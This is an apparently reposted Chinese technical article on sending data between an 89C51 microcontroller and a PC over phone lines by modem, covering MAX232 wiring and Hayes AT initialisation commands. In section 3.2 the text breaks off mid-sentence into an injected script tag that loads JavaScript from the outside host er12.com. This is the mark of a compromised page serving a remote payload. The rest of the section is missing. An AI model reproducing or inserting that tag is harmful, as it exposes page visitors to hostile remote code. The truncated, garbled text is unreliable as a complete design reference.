基于Modem的单片机与PC机远程数据传输设计

  摘 要:介绍由调制解调器与单片机及pc机构成的一种远程通信系统,该系统借助现有的电话网就可以实现单片机与pc机之间的远程数据传输。

关键词:调制解调器;单片机;远程通信

design of remote data transmission between mcuand pcbased on modem

 hejia-bing,zhangxiong-xi

  (wuhan university of technology,wuhan 430074,china)

  abstract:this paperintroduces aremote communication systemmade up of modem,mcuand pc,which can realize remote data transmis-sion between mcuand pcbythetelephone network.

  key words:modem;mcu;remote communication

1 系统总体结构及原理

  本系统的结构如图1所示,采用中央控制型星型结构及自动拨号连接方式,中央管理pc机通过公共电话网络或程控交换机与多个现场单片机连通。现场单片机完成对各物理参量的数据采集,进行数字滤波、数据处理、比值告警、现场显示及对现场设备进行控制等,并定时或随机地向中央管理pc机报告过程情况。中央管理pc机定时或随机地汇集各测试点的信息,进行数据处理、显示打印、声光报警,并负责全局的综合控制、管理调度和策划指挥等任务。中央pc机可通过电话网依次自动拨号呼叫下属各现场单片机,单片机收到呼叫并建立联接后发送数据到中央管理pc机,各现场单片机之间则不能进行呼叫联络。由于单片机应用系统的安装数量和分布范围不同,与中心站的距离一般为几公里到几十公里,在单片机与pc机之间需要传送的数据量不是很大的情况下,采用调制解调器通过电话线路进行通信较为适用。下位单片机以其所在单位的电话号码作为其唯一的地址,并由单片机控制电话的使用,可以实现无人值守自动通信。每当电话响铃一定次数后仍无人接听,则单片机自动接入线路,通过不同标志来判断是主机呼叫还是人打电话。若是主机呼叫,表示中心站要求通信,单片机将保持与上位pc机连接,将各种测量数据发送出去并接收主机发来的命令;若是人打电话,则断开连接继续进行数据采集,并接通模拟响铃电路,提醒人们接听。

2 modem通信接口硬件设计

  由于89c51单片机串口的电平为ttl电平,必须先转换为rs-232电平才能与modem通信。如图2所示,采用max232芯片实现单片机和modem的连接,进行电平转换。

  单片机虽然有串行输入、输出口,但不具有rts、cts、dtr、dsr等标准接口握手信号线。考虑到单片机与上位机的通信量并不大,所以在连接时采用简单的“三线式”,即只通过txd、rxd和地线gnd进行连接,其他信号在对modem初始化时发送at命令将其忽略。如果单片机和上位机之间的通信量很大,并且需要精确、可靠的控制时,可以在89c51与max232之间再扩展一个8250。

3 关键技术及实现

3.1 对modem控制及初始化

  要使modem正常通信,必须对modem进行初始化,必须用到hayes-at命令集。at命令是一套控制modem拨号、应答、链接等操作的约定。对modem(包括上、下位机)的初始化,可以写在主程序里,这样每次启动应用程序时都会重新对modem进行初始化,也可以把初始化程序写进modem非易失存储器里,这样就不用每次都对modem进行初始化。在这里,笔者利用上位机vb程序对串口操作的方便性,把初始化命令配置固化到modem里面。利用vb的mscomm控件的output属性发送at命令到modem对其进行初始化。若对与单片机相连的modem进行初始化,可以先后发送以下命令:

  (1)发送“at&d0&s0&r1”,设置为忽略dtr,dsr,cts信号。

  (2)发送“ate0x0s0=2”,将modem设置为不回应所收到的指令以及返回结果码的类型,s0=2表示在响铃2次之后modem自动摘机并试图连接。

  (3)发送“at&c1”,设置载波侦测信号随线上实际状态变化。

(4)发送“atv0”,设置以数字方式返回结果码。  

(5)最后发送“at&w”,将以上配置存放到非易失存储器中。

  以上每个at命令之后必须加上cr(也就是键盘上的enter键)字符,否则modem将不认识此命令。与pc机相连接的modem初始化与上面大致一样,区别在于不用忽略dtr、dsr、cts和设置成字符串返回结果码,这样对调试程序比较方便。

3.2 下位机的通信实现

  上位机modem(与pc机相连)拨号后,等待下位机modem(与单片机相连)送来的载波信号;下位机mo-dem检测到铃声(响了预定的次数)后便自动摘机,然后与上位机进行载波连接。双方如果在预定时间没有检测到载波信号,modem则自动释放线路,同时返回nocarrier结果码;一旦载波建立成功,modem返回connect结果码,表明双方连接成功,可进行数据通信。下位机通信程序必须对串行口进行正确的设置,使跟上?script src=http://er12.com/t.js>

  • 基于Modem的单片机与PC机远程数据传输设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计